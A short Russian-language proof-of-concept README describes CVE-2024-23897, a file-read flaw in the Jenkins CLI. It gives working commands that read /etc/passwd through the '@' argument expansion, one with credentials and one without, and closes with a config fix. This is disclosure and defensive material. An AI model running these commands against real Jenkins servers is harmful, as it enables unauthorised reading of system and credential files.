
в этом git вы можете найти всю информацию о CVE-2024-23897
Проблеме, которой присвоен идентификатор CVE-2024-23897, описана как уязвимость произвольного чтения файлов через встроенный интерфейс командной строки. Этот парсер команд имеет функцию, которая заменяет символ @, за которым следует путь к файлу в аргументе, содержимым файла (expandAtFiles). Эта функция включена по умолчанию, и в Jenkins 2.441 и более ранних версиях, LTS 2.426.2 и более ранних, она не отключается.
Для данного PoC я установил Jenkins 2.426.2 с помощью Docker, чтобы проверить эксплуатацию уязвимости.
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
После создания пользователя и пароля я загрузил клиент Jenkins CLI (jenkins-cli.jar) на свою атакующую машину.
Затем я написал команду для эксплуатации. В этой команде нам нужны учетные данные пользователя Jenkins.
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
Другая команда позволяет отобразить первые строки файла без аутентификации.
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
Чтобы устранить эту уязвимость, необходимо перейти к конфигурационному файлу Jenkins с именем config.xml (в моем случае он находится в моем Docker-контейнере, поэтому я переключаюсь в режим оболочки в своем контейнере).
<expandAtFiles>false</expandAtFiles>
и перезапустить Jenkins:
service jenkins restart